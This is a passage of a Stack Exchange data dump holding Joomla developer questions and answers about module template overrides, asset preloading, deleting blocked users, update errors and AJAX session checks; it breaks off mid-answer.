  <row Id="23776" PostTypeId="1" AcceptedAnswerId="23783" CreationDate="2018-11-16T16:00:10.140" Score="2" ViewCount="544" Body="&lt;p&gt;For the native Joomla module &quot;Similar Tags&quot;, we have only the article title.&#xA;How to have also the introtext and the intro image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the native code with my code tests :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;JLoader::register('TagsHelperRoute', JPATH_BASE . '/components/com_tags/helpers/route.php');&#xA;&#xA;if ($list) : ?&amp;gt;&#xA;    &amp;lt;ul class=&quot;tagssimilar&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($list as $i =&amp;gt; $item) : ?&amp;gt;&#xA;        &amp;lt;?php if (empty($item-&amp;gt;core_title)) continue; ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;?php if (($item-&amp;gt;type_alias == 'com_users.category') || ($item-&amp;gt;type_alias == 'com_banners.category')) : ?&amp;gt;&#xA;            &amp;lt;?= htmlspecialchars($item-&amp;gt;core_title, ENT_COMPAT, 'UTF-8') ?&amp;gt;&#xA;        &amp;lt;?php else: $item-&amp;gt;route = new JHelperRoute; ?&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?= JRoute::_(TagsHelperRoute::getItemRoute($item-&amp;gt;content_item_id, $item-&amp;gt;core_alias, $item-&amp;gt;core_catid, $item-&amp;gt;core_language, $item-&amp;gt;type_alias, $item-&amp;gt;router)) ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?= htmlspecialchars($item-&amp;gt;core_title, ENT_COMPAT, 'UTF-8') ?&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My first attempt (part 1): &lt;a href=&quot;https://joomla.stackexchange.com/questions/814/modify-joomla-tags-result-page?rq=1&quot;&gt;Modify Joomla Tags Result Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //image&#xA;    $images  = json_decode($item-&amp;gt;core_images);&#xA;    echo '&amp;lt;p&amp;gt;&amp;lt;img class=&quot;intro-image&quot; src=&quot;'.$images-&amp;gt;image_intro.'&quot;&amp;gt;&amp;lt;/p&amp;gt;';                  &#xA;    //introtext&#xA;    $limit =300;&#xA;    if (strlen($item-&amp;gt;text) &amp;gt; $limit) {&#xA;        echo (substr($item-&amp;gt;text, 0, $limit)) ?&amp;gt; &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(TagsHelperRoute::getItemRoute($item-&amp;gt;content_item_id, $item-&amp;gt;core_alias, $item-&amp;gt;core_catid, $item-&amp;gt;core_language, $item-&amp;gt;type_alias, $item-&amp;gt;router)); ?&amp;gt;&quot;&amp;gt;...&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;    else {&#xA;        echo $item-&amp;gt;text;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My first attempt (part 2) : &lt;a href=&quot;https://joomla.stackexchange.com/questions/814/modify-joomla-tags-result-page?rq=1&quot;&gt;Modify Joomla Tags Result Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//introtext&#xA;echo $item-&amp;gt;text;&#xA;//image&#xA;$images  = json_decode($item-&amp;gt;core_images);&#xA;echo '&amp;lt;img src=&quot;'.$images-&amp;gt;image_intro.'&quot;&amp;gt;';&#xA;//get category name by id&#xA;$db = JFactory::getDbo();&#xA;$id = $item-&amp;gt;core_catid;&#xA;$db-&amp;gt;setQuery(&quot;SELECT cat.title FROM #__categories cat WHERE cat.id='$id'&quot;);&#xA;$category = $db-&amp;gt;loadResult();&#xA;echo '&amp;lt;p&amp;gt;'.$category.'&amp;lt;/p&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My second attempt: &lt;a href=&quot;https://joomla.stackexchange.com/questions/17422/adding-images-to-latest-articles-module&quot;&gt;Adding Images to Latest Articles module&lt;/a&gt; ?&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // This gets the image data associated with the article and processes it so PHP can use it properly.&#xA;    $images = json_decode($item-&amp;gt;images);&#xA;&#xA;    // This checks the Intro Image exists and isn't empty.&#xA;    if (isset($images-&amp;gt;image_intro) &amp;amp;&amp;amp; !empty($images-&amp;gt;image_intro)) :&#xA;        // This displays it.&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;thumbnail item-image&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt); ?&amp;gt;&quot; itemprop=&quot;image&quot;/&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My third attempt: &lt;a href=&quot;https://www.joomlashack.com/blog/joomla/most-read-intro-images/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/joomla/most-read-intro-images/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = json_decode($item-&amp;gt;images);&#xA;?&amp;gt;  &#xA;&amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;    &amp;lt;?php if( $images-&amp;gt;image_intro ) : ?&amp;gt;&#xA;        &amp;lt;img src=&quot;/&amp;lt;?php echo $images-&amp;gt;image_intro; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($item-&amp;gt;title); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;a href=&quot;/&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and the end of the first code block...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;span&amp;gt;&amp;lt;?= JText::_('MOD_TAGS_SIMILAR_NO_MATCHING_TAGS') ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php endif ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13068" LastEditorUserId="12352" LastEditDate="2018-11-17T22:12:35.093" LastActivityDate="2018-11-18T00:08:02.047" Title="Similar tags module with image and introtext" Tags="|joomla-3.x|tags|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23777" PostTypeId="1" CreationDate="2018-11-16T16:28:39.530" Score="0" ViewCount="163" Body="&lt;p&gt;I have thousands of spam users. I use K2 and I would want to delete them from &quot;k2_users&quot; and from &quot;users&quot;. I want to delete the blocked ones.&#xA;I have tried deleting K2_users from the admin, but it does not delete the user from &quot;users&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas to delete from both tables(using SQL) the users that are blocked? I think that the field &quot;block&quot; of the table &quot;users&quot; is the key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13067" LastActivityDate="2019-04-18T09:02:55.620" Title="Bulk delete disabled k2 users Joomla 2.5" Tags="|joomla-2.5|user|k2|sql|joomshopping|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23778" PostTypeId="1" AcceptedAnswerId="23782" CreationDate="2018-11-17T11:42:42.267" Score="5" ViewCount="1899" Body="&lt;p&gt;I want to display some of the styles and scripts using &lt;code&gt;rel='preload'&lt;/code&gt; to make my pages load faster - referring to the &lt;a href=&quot;https://developers.google.com/web/tools/lighthouse/audits/preload&quot; rel=&quot;noreferrer&quot;&gt;Google Lighthouse&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;preload&quot; href=&quot;style.css&quot; as=&quot;style&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;preload&quot; href=&quot;main.js&quot; as=&quot;script&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this using addScript/addStyleSheet in Joomla?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addStyleSheet(&quot;css/style.css&quot;);&#xA;$document-&amp;gt;addScript(&quot;js/us.script.js&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3524" LastEditorUserId="3524" LastEditDate="2018-11-17T11:49:00.637" LastActivityDate="2020-05-26T14:14:10.377" Title="Is there a way to add rel='preload' using addScript/addStyleSheet?" Tags="|joomla-3.x|joomla-api|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23779" PostTypeId="2" ParentId="23778" CreationDate="2018-11-17T12:21:48.907" Score="0" Body="&lt;p&gt;It seems that Joomla 4.0 will have this possibility: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/15880&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/15880&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3524" LastActivityDate="2018-11-17T12:21:48.907" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23780" PostTypeId="2" ParentId="23778" CreationDate="2018-11-17T14:38:25.723" Score="4" Body="&lt;p&gt;If I understand the usage of &lt;code&gt;preload&lt;/code&gt; correctly, in 3.x you can add these links manually with &lt;code&gt;addHeadlink()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Preload resources&#xA;$mediaVersion = $this-&amp;gt;mediaVersion ? '?' . $this-&amp;gt;mediaVersion : '';&#xA;$this-&amp;gt;addHeadLink($this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/css/template.css' . $mediaVersion, 'preload', 'rel', array('as' =&amp;gt; 'style'));&#xA;$this-&amp;gt;addHeadLink($this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/js/template.js' . $mediaVersion, 'preload', 'rel', array('as' =&amp;gt; 'script'));&#xA;&#xA;// Load resources&#xA;JHtml::_('script', 'template.js', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;JHtml::_('stylesheet', 'template.css', array('version' =&amp;gt; 'auto', 'relative' =&amp;gt; true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, document's &lt;code&gt;$mediaVersion&lt;/code&gt; property works when added resources have &lt;code&gt;auto&lt;/code&gt; value for &lt;code&gt;version&lt;/code&gt;. If you're using a different method for generating version, change it on &lt;code&gt;preload&lt;/code&gt; links accordingly.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-11-17T17:37:10.550" LastActivityDate="2018-11-17T17:37:10.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23781" PostTypeId="1" AcceptedAnswerId="23789" CreationDate="2018-11-17T15:48:02.450" Score="1" ViewCount="1316" Body="&lt;p&gt;Since upgrading to J! 3.9.0 I'm getting this error on EVERY extension update except for the few who use an update routine that appears to bypass normal Joomla workings - StackIdea's EasyBlog and JoomlaShine's Uniform are 2 that will still update OK. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, everything else (ALL of which have happily updated from the Update area in the past) fails. The extensions are all 3 types (component, module, and plugin) and are both paid and free. They all require manual installation to update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked my /tmp path and it's correct and writable. configuration.php is, as I would expect, unwritable, but I saw in a different post some else's Folder Permissions screenshot showing it as writable so I changed it to 777. Still fail to install anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I manage some 80 odd sites, this is a major time waster. Is anyone else experiencing this?&lt;/p&gt;&#xA;" OwnerUserId="3770" LastEditorUserId="12352" LastEditDate="2018-11-17T21:52:43.113" LastActivityDate="2020-03-10T18:11:29.940" Title="Update path does not exist. / Error updating COM_INSTALLER_TYPE_TYPE_" Tags="|extensions|update|extension-update|joomla-3.9|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23782" PostTypeId="2" ParentId="23778" CreationDate="2018-11-17T17:49:21.290" Score="3" Body="&lt;p&gt;I'll answer this myself too as I've been looking into lazy loading assets recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;preload&lt;/code&gt; may seem like it asynchronously loads files but it doesn't. They're still considered render blocking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also applies if you also just add your assets to below the closing &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag as there's still remaining HTML to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're best approach will be to add a small snippet of Javascript of code before the closing &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag of your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;// Lazy load all your CSS and fonts&#xA;for (const css of [&#xA;  '&amp;lt;?php echo $this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/css/template.css'; ?&amp;gt;',&#xA;  // You can define more CSS or font files here in the array&#xA;]) {&#xA;  const link = document.body.appendChild(document.createElement('link'));&#xA;  script.rel = 'stylesheet';&#xA;  script.href = css;&#xA;}&#xA;&#xA;// Lazy load all your JS&#xA;for (const js of [&#xA;  '&amp;lt;?php echo $this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/css/template.js'; ?&amp;gt;',&#xA;  // You can define more Javascript files here in the array&#xA;]) {&#xA;  const script = document.body.appendChild(document.createElement('script'));&#xA;  script.async = false;&#xA;  script.src = js;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I've written this in ES6. You can transpile back to ES5 if you wish to support IE11.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2020-05-26T14:14:10.377" LastActivityDate="2020-05-26T14:14:10.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23783" PostTypeId="2" ParentId="23776" CreationDate="2018-11-17T23:55:59.647" Score="0" Body="&lt;p&gt;In the template override, before the item loop query the database to get the data you need. This will return an array of objects indexed on &lt;code&gt;core_content_id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('core_content_id', 'core_images', 'core_body')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__ucm_content'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('core_content_id') . ' IN (' . implode(',', array_column($list, 'core_content_id')) . ')');&#xA;$extraData = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList('core_content_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, inside the item loop, you can use the data in a few different ways. You can merge the item with the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item = (object) array_merge((array) $item, (array) $extraData[$item-&amp;gt;core_content_id]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can assign the properties separately:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item-&amp;gt;images    = $extraData[$item-&amp;gt;core_content_id]-&amp;gt;core_images;&#xA;$item-&amp;gt;introtext = $extraData[$item-&amp;gt;core_content_id]-&amp;gt;core_body;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can use the data directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Display introtext ?&amp;gt;&#xA;&amp;lt;?php echo $extraData[$item-&amp;gt;core_content_id]-&amp;gt;core_body; ?&amp;gt;&#xA;&#xA;&amp;lt;?php // Display intro image ?&amp;gt;&#xA;&amp;lt;?php $images = json_decode($extraData[$item-&amp;gt;core_content_id]-&amp;gt;core_images); ?&amp;gt;&#xA;&amp;lt;?php if (!empty($images-&amp;gt;image_intro)) : ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro, ENT_QUOTES, 'UTF-8'); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt, ENT_QUOTES, 'UTF-8'); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way, I can see this feature being implemented in core. If you agree, you can try submitting a feature request to the issue tracker.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-11-18T00:08:02.047" LastActivityDate="2018-11-18T00:08:02.047" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23785" PostTypeId="2" ParentId="5658" CreationDate="2018-11-18T12:15:08.010" Score="0" Body="&lt;p&gt;To complete this (good) answer from Isidro, notice that as of today (Joomla 3.8.12), the &lt;code&gt;getMessageQueue()&lt;/code&gt; function can be called with &quot;true&quot; (&lt;code&gt;getMessageQueue(true)&lt;/code&gt;) as the parameter to purge/clear the message queue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, to get the messages stored in the expected manner for the layout to display them, call this piece of code (extracted from &lt;code&gt;MessageRenderer::getData()&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Initialise variables.&#xA;$lists = array();&#xA;// Get the message queue&#xA;$messages = \JFactory::getApplication()-&amp;gt;getMessageQueue();&#xA;// Build the sorted message list&#xA;if (is_array($messages) &amp;amp;&amp;amp; !empty($messages))&#xA;{&#xA;    foreach ($messages as $msg)&#xA;    {&#xA;        if (isset($msg['type']) &amp;amp;&amp;amp; isset($msg['message']))&#xA;        {&#xA;            $lists[$msg['type']][] = $msg['message'];&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you get &lt;code&gt;$lists&lt;/code&gt; sorted in the correct manner.&lt;/p&gt;&#xA;" OwnerUserId="13072" LastEditorUserId="12352" LastEditDate="2018-11-18T14:42:35.153" LastActivityDate="2018-11-18T14:42:35.153" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23786" PostTypeId="2" ParentId="23777" CreationDate="2018-11-18T15:20:59.500" Score="1" Body="&lt;p&gt;Deleting users using Joomla's User Manager is also going to delete them from K2 users table, as long as &lt;code&gt;User - K2&lt;/code&gt; plugin is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To delete users programmatically, you can query the database to get the IDs of blocked users and pass them to &lt;code&gt;UsersModelUser::delete()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('id'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__users'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('block') . ' = 1');&#xA;&#xA;if ($blockedUsers = $db-&amp;gt;setQuery($query)-&amp;gt;loadColumn())&#xA;{&#xA;    JLoader::register('UsersModelUser', JPATH_ADMINISTRATOR . '/components/com_users/models/user.php');&#xA;&#xA;    $model = JModelLegacy::getInstance('User', 'UsersModel', array('ignore_request' =&amp;gt; true));&#xA;    $model-&amp;gt;delete($blockedUsers);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-11-19T07:43:05.140" LastActivityDate="2018-11-19T07:43:05.140" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23789" PostTypeId="2" ParentId="23781" CreationDate="2018-11-18T21:22:33.007" Score="1" Body="&lt;p&gt;OK, found the issue and solution, but not the cause!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went to the thread On RegularLabs' site - &lt;a href=&quot;https://www.regularlabs.com/forum/exten%20...%20ions#83452&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/forum/exten ... ions#83452&lt;/a&gt;. In this, Peter talks about &quot;some&quot; server setting (he doesn't know which - or didn't at the time of writing) changing the case of the Header names. Because Joomla is looking case-sensitive, the installs failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He posted a patch for libraries/src/Installer/InstallerHelper/php which I copied and saved, then uploaded to 2 of my sites. Previously failing updates now performed perfectly.&lt;/p&gt;&#xA;" OwnerUserId="3770" LastEditorUserId="11258" LastEditDate="2018-12-31T06:39:34.217" LastActivityDate="2018-12-31T06:39:34.217" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23790" PostTypeId="2" ParentId="5738" CreationDate="2018-11-19T02:08:40.553" Score="0" Body="&lt;p&gt;Try setting your PHP to a minimum of 5.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update didn't show with php5.4  but as soon as I changed it, it appeared.&lt;/p&gt;&#xA;" OwnerUserId="13075" LastActivityDate="2018-11-19T02:08:40.553" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23791" PostTypeId="2" ParentId="22680" CreationDate="2018-11-19T08:46:54.943" Score="0" Body="&lt;p&gt;Use the ReReplacer extension. It can dynamically &quot;Search and Replace&quot; any code on you joomla website. So you can make it search for &quot;http://&quot; and replace it with &quot;https://&quot; or if you want to be more specific you could search &quot;&lt;a href=&quot;http://mysite.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com&lt;/a&gt;&quot; and replace with &quot;&lt;a href=&quot;https://mysite.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysite.com&lt;/a&gt;&quot; so only it will do it on your domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the extension from here: &lt;a href=&quot;https://www.regularlabs.com/extensions/rereplacer/changelog#v4.3.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/rereplacer/changelog#v4.3.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need the 4.3.0 version of the extension, because is the latest that supports Joomla 1.5&lt;/p&gt;&#xA;" OwnerUserId="13076" LastActivityDate="2018-11-19T08:46:54.943" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23792" PostTypeId="1" AcceptedAnswerId="23794" CreationDate="2018-11-19T09:41:56.937" Score="3" ViewCount="1463" Body="&lt;p&gt;I am developing a component and I use ajax calls to do some tasks in the frontend.&#xA;I have come to a problem when the session is expires and I don't want to use keepalive to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the frontend I have a list view. And there there are some buttons that perform tasks using ajax requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#resetData').on('click', function (e) {&#xA;  e.preventDefault();&#xA;  var token = jQuery(&quot;#token&quot;).attr(&quot;name&quot;);&#xA;  var itemId = $(this).attr('data-id');&#xA;$.ajax({&#xA;  method: 'POST',&#xA;  cache: false,&#xA;  dataType: &quot;json&quot;,&#xA;  data: { [token]: &quot;1&quot;, id: itemId},&#xA;  url: 'index.php?option=com_contract&amp;amp;task=contract.resetData'&#xA;}).success(function (r) {&#xA;  console.log('Response :');&#xA;  console.log(r);&#xA;  if (r.responseText) {&#xA;    UIkit.modal.alert(r.responseText).then(function () {&#xA;      window.location.reload();&#xA;    });&#xA;  }&#xA;  if (r.message) {&#xA;    UIkit.modal.alert(r.message).then(function () {&#xA;      window.location.reload();&#xA;    });&#xA;  }&#xA;}).error(function (err) {&#xA;  console.log(err);&#xA;  UIkit.modal.alert('&amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;' + err + '&amp;lt;/div&amp;gt;').then(function () {&#xA;    return;&#xA;  });&#xA;}).complete(function (r) {&#xA;  console.log(r.responseText);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the session has expired, in my main controller I redirect to login page.&#xA;&lt;code&gt;JFactory::getApplication()-&amp;gt;redirect(JURI::base() . 'index.php?option=com_users&amp;amp;view=login', $error, 'error'); //redirect to login page&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the hole html is returned in the Ajax response and when I popup the response I get an &lt;code&gt;[object object]&lt;/code&gt; instead of a human readable error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I need to find a way to check if the session has expired when  &lt;code&gt;click&lt;/code&gt; event fires and alert an error, before I make the Ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to check the JSESSION in javascript or any other way to solve it ?&lt;/p&gt;&#xA;" OwnerUserId="12709" LastEditorUserId="12352" LastEditDate="2019-11-16T23:10:40.137" LastActivityDate="2019-11-16T23:10:40.137" Title="How to check JSESSION in javascript" Tags="|joomla-3.x|javascript|ajax|security-token|jsession|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23793" PostTypeId="2" ParentId="23792" CreationDate="2018-11-19T10:49:03.253" Score="2" Body="&lt;p&gt;To get the session state, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getSession()-&amp;gt;getState();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this script is inline or a separate file. If it's inline then you can simply add the following to your Javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var sessionState = '&amp;lt;?php echo JFactory::getSession()-&amp;gt;getState(); ?&amp;gt;';&#xA;if (sessionState === 'expired') {&#xA;    // redirect to login page&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a side note, the use of &lt;code&gt;.success()&lt;/code&gt; and &lt;code&gt;.error()&lt;/code&gt; are deprecated in jQuery. Please use &lt;code&gt;.done()&lt;/code&gt; and &lt;code&gt;.fail()&lt;/code&gt;. Also, just so you know, &lt;code&gt;.then()&lt;/code&gt; will not work in IE11.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-11-19T10:49:03.253" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23794" PostTypeId="2" ParentId="23792" CreationDate="2018-11-19T10:54:02.137" Score="3" Body="&lt;p&gt;One way I can imagine to check the session is before you ignite the above ajax call, you make a previous ajax call to another function in com_contract/controller(task = your new session checking function. so: url:...com_contract/task=checkSession) where you create a function, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function checkSession() &#xA;{&#xA;  try&#xA;    {    &#xA;      $session1 = JFactory::getSession();&#xA;      $isActive = $session1-&amp;gt;isActive();&#xA;      $sessionState = $session1-&amp;gt;getState();&#xA;      echo new JResponseJson($isActive, $sessionState);&#xA;    }&#xA;  catch(Exception $e)&#xA;    {&#xA;      echo new JResponseJson($e);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just created this function here fast, so mistakes might be in it and also can be improved with anything more but this is how I would start to check the session via ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other implication would be according to me, that if a session is expired then the token might be invalid during this call. I did not try that, so it has to be tested, whether the ajax call can be sent with the token (from an expired session. it does not sound too logical).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exactly because of this reason (expired tokens) I suggested earlier to keep the session alive, instead of other solutions on sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FEW ADDITIONAL THOUGHTS ON THIS SUBJECT&lt;/strong&gt; (since this subject will come up many times here)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try to make an ajax call with an expired session token, then you will always get an 'invalid token' response, thus the ajax call will fail anyway, so it is better to do a redirect in javascript if the response is 'invalid token' because of expired session or because of the invalid response (simply a failed ajax call). Then the check session function could be extended with few lines, as an example, but probably it does not have valid purpose in this case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function checkSession() &#xA;{&#xA;    if (! JSession::checkToken())&#xA;    {&#xA;        echo new JResponseJson('invalid token');&#xA;        // jexit( 'Invalid Token' );&#xA;    }&#xA;    else&#xA;    {&#xA;      try&#xA;        {    &#xA;          $session1 = JFactory::getSession();&#xA;          $isActive = $session1-&amp;gt;isActive();&#xA;          $sessionState = $session1-&amp;gt;getState();&#xA;          echo new JResponseJson($isActive, $sessionState);&#xA;        